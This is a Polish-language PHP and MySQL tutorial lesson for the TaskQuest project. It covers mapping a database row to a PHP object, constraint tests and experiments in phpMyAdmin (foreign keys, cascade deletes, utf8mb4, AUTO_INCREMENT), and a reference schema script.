<p class="wp-block-paragraph">W Lekcji 18 PHP pobierze z bazy wiersz zadania. Dostanie go jako tablicę asocjacyjną, której klucze to nazwy kolumn. Z niej trzeba będzie zbudować obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, tak jak dziś <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> buduje go z wiersza CSV. Przećwiczmy to już teraz, na wierszu „udawanym”.</p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (zastąp poprzednią zawartość):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

// Tak będzie wyglądał wiersz z tabeli zadania (na razie wpisany ręcznie):
$wiersz = &#91;
    'id' =&gt; 4,
    'uzytkownik_id' =&gt; 2,
    'tytul' =&gt; 'Zaprojektować bazę TaskQuest',
    'opis' =&gt; 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.',
    'termin' =&gt; '2026-10-05',
    'data_wykonania' =&gt; null,
    'xp' =&gt; 30,
];

// TODO: utwórz $zadanie = new Zadanie(...) z argumentami nazwanymi

var_dump($zadanie-&gt;czyWykonane());
var_dump($zadanie-&gt;pobierzTytul());
</code></pre>



<p class="wp-block-paragraph"><strong>Zadanie:</strong></p>



<ol class="wp-block-list">
<li>Utwórz obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie</code> z danych <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz</code>, używając argumentów nazwanych (jak od Lekcji 15).</li>



<li>Obiekt potrzebuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>), a wiersz ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>. Oblicz to w miejscu wywołania konstruktora, <strong>bez zmieniania klasy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></strong>.</li>



<li>Przewidź i sprawdź wynik dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>, a potem dla <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-30'</code>.</li>



<li>Jednej kolumny z wiersza nie przekazujesz do obiektu. Której? Czy to problem <strong>dzisiaj</strong>? Kiedy przestanie nim być?</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Masz porównać wartość z <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> tak, żeby wynik był <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code>. Ten sam operator stosowaliśmy w Lekcji 12 przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code>.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz&#91;'data_wykonania'] !== null,</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(
    id: $wiersz&#91;'id'],
    tytul: $wiersz&#91;'tytul'],
    opis: $wiersz&#91;'opis'],
    termin: $wiersz&#91;'termin'],
    wykonane: $wiersz&#91;'data_wykonania'] !== null,
    xp: $wiersz&#91;'xp'],
);</code></pre>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'2026-09-30'</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>.</li>



<li>Nie przekazujemy <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>. Dziś to nie problem: obiekt zadania nie musi wiedzieć, czyje jest. Pytanie „czyje to zadania?” zada baza, gdy w Lekcji 18 poprosimy tylko o zadania zalogowanego użytkownika.</li>



<li>Porównaj z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>: tam <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz[4] === '1'</code> (z tekstu CSV), tu <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane: $wiersz['data_wykonania'] !== null</code> (z kolumny bazy). Zmienia się <strong>źródło</strong>, a obiekt zostaje ten sam. Dlatego reszta aplikacji (funkcje listy, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>) nie będzie musiała się zmieniać.</li>
</ul>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Dokładne typy wartości, które zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> (np. czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> przyjdzie jako liczba, czy jako tekst), sprawdzimy w Lekcji 18 na prawdziwym połączeniu. Tu symulujemy wiersz. Data (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) przychodzi jako tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>.</p>
</blockquote>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> testy 1–6 w phpMyAdmin (baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code> → zakładka SQL), testy 7–8 w przeglądarce. Przed każdym testem <strong>zapisz swoją przewidywaną odpowiedź</strong>: czy baza przyjmie polecenie, a jeśli nie, to z jakiego powodu.</p>



<p class="wp-block-paragraph">Testy 2–6 próbują wstawić <strong>złe</strong> dane. Baza powinna je odrzucić i nic nie zapisać.</p>



<h2 class="wp-block-heading">Test 1 — struktura i relacja</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania WHERE uzytkownik_id = 2;
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <strong>dokładnie jeden</strong> wiersz, zadanie Oli. (<code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> to warunek. Dokładniej poznasz go w Lekcji 18.) Zamień <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>: tyle wierszy, ile zadań w Twoim CSV. Zamień na <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code>: pusty wynik, bez błędu. Użytkownika nr 3 nie ma, więc nie ma też jego zadań.</p>



<h2 class="wp-block-heading">Test 2 — unikalny login</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO uzytkownicy (login, imie) VALUES ('Kama_2026', 'Druga Kama');
INSERT INTO uzytkownicy (login, imie) VALUES ('KAMA_2026', 'Trzecia Kama');
</code></pre>



<p class="wp-block-paragraph">Wykonuj <strong>po jednym</strong> poleceniu.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Polecenie</th><th>Oczekiwane</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'Kama_2026'</code></td><td>błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062 Duplicate entry</code> (reguła <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">'KAMA_2026'</code></td><td><strong>też</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1062</code>. Porównanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code> nie rozróżnia wielkości liter, więc dla bazy to ten sam login. Dobrze: dwóch użytkowników „Kama_2026” i „KAMA_2026” byłoby mylące</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 3 — zadanie nieistniejącego użytkownika</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (99, 'Zadanie bez właściciela', '2026-10-01', 10);
</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1452 Cannot add or update a child row: a foreign key constraint fails</code>. Klucz obcy nie wpuści zadania, którego właściciel nie istnieje. Zwróć uwagę, że pominęliśmy <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">data_wykonania</code>, a mimo to tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code> spowodował błąd. Dlaczego? Sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> tych kolumn. Po zmianie <code class="prettyprint lang-sql" style="font-size: 0.85em;">99</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code> polecenie przejdzie. Potem uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>, żeby wrócić do czystych danych.</p>



<h2 class="wp-block-heading">Test 4 — baza pilnuje reguł kolumn</h2>



<p class="wp-block-paragraph">Każde polecenie osobno:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, NULL, '2026-10-01', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Ujemne XP', '2026-10-01', -5);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Zły dzień', '2026-02-31', 10);
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, REPEAT('a', 101), '2026-10-01', 10);
</code></pre>



<p class="wp-block-paragraph">(<code class="prettyprint lang-sql" style="font-size: 0.85em;">REPEAT('a', 101)</code> to funkcja SQL, która tworzy tekst ze 101 liter „a”.)</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Dane</th><th>Która reguła?</th><th>Oczekiwany błąd</th></tr></thead><tbody><tr><td>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1048 Column 'tytul' cannot be null</code></td></tr><tr><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1264 Out of range value</code></td></tr><tr><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code></td><td>typ <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292 Incorrect date value</code></td></tr><tr><td>tytuł 101 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR(100)</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">#1406 Data too long</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Porównaj z CSV. <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> sprawdza tylko <strong>kształt</strong> daty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code>), więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-31</code> z pliku przechodzi. Baza sprawdza kalendarz.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Jeśli któreś polecenie się wykonało</strong> (zamiast błędu pojawiło się ostrzeżenie, a w tabeli np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code> albo obcięty tytuł), Twój serwer działa w trybie „nieścisłym” (<em>non-strict</em>). Sprawdź: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT @@sql_mode;</code>. W wyniku powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">STRICT_TRANS_TABLES</code>. Jeśli go nie ma, zgłoś to nauczycielowi i po teście uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Wniosek na przyszłość: <strong>walidacji w PHP nie usuwamy nigdy</strong>. Baza jest drugą linią obrony, a nie pierwszą.</p>
</blockquote>



<h2 class="wp-block-heading">Test 5 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">NULL</code> to nie tekst</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, data_wykonania, xp) VALUES (1, 'Test NULL', '2026-10-01', 'NULL', 10);
</code></pre>



<p class="wp-block-paragraph">Przewidź: czy to zadanie będzie wykonane, niewykonane, czy dostaniesz błąd? Oczekiwane: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1292 Incorrect date value: 'NULL'</code>. Tekst <code class="prettyprint lang-sql" style="font-size: 0.85em;">'NULL'</code> to nie brak wartości, tylko napis, który nie jest datą. Bez apostrofów polecenie przejdzie. Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>.</p>



<h2 class="wp-block-heading">Test 6 — skrypt da się uruchomić ponownie</h2>



<p class="wp-block-paragraph">Uruchom cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> <strong>drugi raz</strong>. Oczekiwane: brak błędów, znowu 2 użytkowników i ta sama liczba zadań. Nie ma „śmieci” z testów 3–5, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> zadań znowu zaczynają się od 1.</p>



<h2 class="wp-block-heading">Test 7 — diagnostyka</h2>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/taskquest/diagnostyka.php</code>: <strong>18 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>, sekcja „Baza danych” z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> i jednym skryptem <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code>. Zmień chwilowo nazwę pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.txt</code>. Przewidź, co pokaże diagnostyka, sprawdź i przywróć nazwę. Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> i 0 skryptów SQL.</p>



<h2 class="wp-block-heading">Test 8 — regresja: aplikacja działa jak po Lekcji 15</h2>



<p class="wp-block-paragraph">Zaloguj się i porównaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja15/index.php</code> <strong>tego samego dnia</strong>. Różnić się może tylko wersja w stopce (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1.5</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.7</code>). Dodaj zadanie przez formularz. Pojawi się na liście i w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>, ale <strong>nie</strong> w bazie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania;</code>). To potwierdza, że aplikacja jeszcze nie korzysta z bazy.</p>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> phpMyAdmin, baza <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest</code>. Po każdym eksperymencie <strong>uruchom ponownie cały <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code></strong>, żeby wrócić do czystego stanu.</p>



<h3 class="wp-block-heading">Eksperyment 1: kolejność ma znaczenie</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code> zamień miejscami dwie linie <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE IF EXISTS</code> (najpierw <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>) i uruchom skrypt. Tabele już istnieją z wcześniejszego uruchomienia.</p>



<p class="wp-block-paragraph">Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451 Cannot delete or update a parent row: a foreign key constraint fails</code>. Baza nie pozwala usunąć tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, dopóki tabela <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code> na nią wskazuje. Inaczej zadania wskazywałyby na użytkowników, których nie ma. <strong>Przywróć kolejność w pliku.</strong> Zasada: usuwamy od tabel zależnych („N”), tworzymy od niezależnych („1”).</p>



<h3 class="wp-block-heading">Eksperyment 2: co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT * FROM zadania;
DELETE FROM uzytkownicy WHERE login = 'Ola_TQ';
SELECT * FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Przed wykonaniem przewidź, ile zadań zostanie. Wynik: zadanie Oli <strong>zniknęło razem z nią</strong>, choć polecenie dotyczyło tylko tabeli <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>. (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code> to usuwanie wierszy. Z poziomu PHP zajmiemy się nim w Lekcji 19.)</p>



<p class="wp-block-paragraph">Teraz wyobraź sobie, że w <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE zadania</code> nie ma <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code>. Co zrobiłaby baza z tym samym <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>? Sprawdź: usuń z pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;"> ON DELETE CASCADE</code>, uruchom skrypt, powtórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">DELETE</code>. Wynik: <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1451</code>, czyli baza <strong>odmawia</strong> usunięcia użytkownika, który ma zadania. Obie reakcje chronią przed „osieroconymi” zadaniami. Różnią się tym, co wydarzy się z danymi. Dla TaskQuest wybieramy kaskadę: usunięcie konta usuwa też zadania. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">ON DELETE CASCADE</code> w pliku.</strong></p>



<h3 class="wp-block-heading">Eksperyment 3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4</code> i emoji</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Trening <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" alt="💪" class="wp-smiley" style="height: 1em; max-height: 1em;" /> i nauka SQL', '2026-10-01', 10);
SELECT tytul FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Działa: emoji zapisało się poprawnie. Teraz utwórz tabelę testową ze starszym kodowaniem <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code>. Dawniej nazywało się po prostu <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8</code> i mieściło znaki zajmujące najwyżej 3 bajty:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE test_kodowania (tytul VARCHAR(100)) DEFAULT CHARSET=utf8mb3;
INSERT INTO test_kodowania VALUES ('Trening <img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f4aa.png" alt="💪" class="wp-smiley" style="height: 1em; max-height: 1em;" />');
</code></pre>



<p class="wp-block-paragraph">Wynik: błąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">#1366 Incorrect string value</code>. Emoji zajmuje 4 bajty, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb3</code> mieści najwyżej 3. Polskie litery (2 bajty) przeszłyby bez problemu, dlatego ten błąd często wychodzi dopiero na produkcji, gdy pierwszy użytkownik wpisze emoji. Posprzątaj: <code class="prettyprint lang-sql" style="font-size: 0.85em;">DROP TABLE test_kodowania;</code></p>



<h3 class="wp-block-heading">Eksperyment 4 (dodatkowy): skąd się biorą numery <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Pierwsze', '2026-10-01', 10);
DELETE FROM zadania WHERE tytul = 'Pierwsze';
INSERT INTO zadania (uzytkownik_id, tytul, termin, xp) VALUES (1, 'Drugie', '2026-10-01', 10);
SELECT id, tytul FROM zadania;
</code></pre>



<p class="wp-block-paragraph">Przewidź: jakie <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> dostanie „Drugie”? Czy to samo co „Pierwsze”? Wynik: <strong>następny numer</strong>. <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code> nie wraca do zwolnionych numerów, więc w <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> powstaje „dziura”. To dokładnie ta sama zasada, z powodu której <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code> od Lekcji 13 liczy „największe <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> + 1”, a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">count() + 1</code>: numer raz użyty nie powinien trafić do innego zadania.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">W PHP zmieniają się tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>. Pozostałe pliki są <strong>identyczne jak po Lekcji 15</strong> (wersja referencyjna w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code>, sekcja 9).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">-- TaskQuest 1.7 — struktura bazy danych i dane testowe
-- Uruchom w phpMyAdmin: baza taskquest → zakładka SQL → wklej całość → Wykonaj.
-- Skrypt można uruchamiać wiele razy: najpierw usuwa stare tabele (RAZEM Z DANYMI!).

DROP TABLE IF EXISTS zadania;
DROP TABLE IF EXISTS uzytkownicy;

CREATE TABLE uzytkownicy (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    login VARCHAR(20) NOT NULL UNIQUE,
    imie VARCHAR(30) NOT NULL,
    haslo_hash VARCHAR(255) NULL,
    xp INT UNSIGNED NOT NULL DEFAULT 0,
    streak INT UNSIGNED NOT NULL DEFAULT 0,
    data_ostatniej_aktywnosci DATE NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

CREATE TABLE zadania (
    id INT UNSIGNED AUTO_INCREMENT PRIMARY KEY,
    uzytkownik_id INT UNSIGNED NOT NULL,
    tytul VARCHAR(100) NOT NULL,
    opis VARCHAR(300) NOT NULL DEFAULT '',
    termin DATE NOT NULL,
    data_wykonania DATE NULL,
    xp INT UNSIGNED NOT NULL,
    FOREIGN KEY (uzytkownik_id) REFERENCES uzytkownicy(id) ON DELETE CASCADE
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;

-- Kama: te same wartości, które index.php symuluje od Lekcji 15.
-- Ola: drugi użytkownik, żeby w bazie byli dwaj właściciele zadań.
INSERT INTO uzytkownicy (login, imie, xp, streak, data_ostatniej_aktywnosci) VALUES
('Kama_2026', 'Kama', 99, 5, '2026-09-14'),
('Ola_TQ', 'Ola', 250, 0, NULL);

-- Zadania Kamy = wszystkie zadania z data/zadania.csv:
--   id pomijamy (AUTO_INCREMENT), tytuł i opis bez zmian (także "brudne" spacje),
--   wykonane 1 → data_wykonania '2026-09-14', wykonane 0 → NULL.
INSERT INTO zadania (uzytkownik_id, tytul, opis, termin, data_wykonania, xp) VALUES
(1, '   Nauczyć   się regexów   PHP   ', 'tu opis z CSV', '2026-09-20', '2026-09-14', 20),
-- ... kolejne zadania z data/zadania.csv (uzytkownik_id = 1) ...
(2, 'Zaprojektować bazę TaskQuest', 'Tabele uzytkownicy i zadania, klucze i relacja 1:N.', '2026-10-05', NULL, 30);
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">Dwie zmiany (kod jak w sekcji 5, krok 5):</p>



<ul class="wp-block-list">
<li>w tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dochodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">'sql/taskquest.sql'</code> (razem <strong>18</strong> ścieżek),</li>



<li>pod sekcją „Pliki danych” dochodzi sekcja „Baza danych”: <code class="prettyprint lang-sql" style="font-size: 0.85em;">extension_loaded('mysqli')</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">[BRAK]</code> oraz lista plików z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$plikiSql = listaPlikowWKatalogu('sql', 'sql');</code>.</li>
</ul>



<p class="wp-block-paragraph">Reszta pliku bez zmian. Nadal bez sesji, bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php</code>, bez połączenia z bazą (ma działać nawet przy zepsutym projekcie).</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.7&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;
</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">cały kod PHP z Lekcji 15: klasy Zadanie i Uzytkownik, wszystkie funkcje, index.php, dodaj-zadanie.php,
zaloguj.php, wyloguj.php, sesja, cookie filtr, walidacja formularzy
data/zadania.csv — nadal jedyne źródło zadań aplikacji
symulowane dane gracza w index.php (xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14')
</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">baza danych taskquest (utf8mb4_unicode_ci), tworzona w phpMyAdmin

sql/taskquest.sql (nowy plik, nowy katalog sql/)
    tabela uzytkownicy: id (PK, AUTO_INCREMENT), login (UNIQUE), imie, haslo_hash (NULL do L19),
                        xp, streak, data_ostatniej_aktywnosci (NULL = brak aktywności)
    tabela zadania:     id (PK, AUTO_INCREMENT), uzytkownik_id (FK → uzytkownicy.id, ON DELETE CASCADE),
                        tytul, opis, termin, data_wykonania (NULL = niewykonane), xp
    dane testowe: Kama (id 1, dane jak symulowane w index.php) z zadaniami z CSV, Ola (id 2) z jednym zadaniem

diagnostyka.php: sekcja „Baza danych” (extension_loaded('mysqli'), lista skryptów .sql), 18 wymaganych plików
</code></pre>



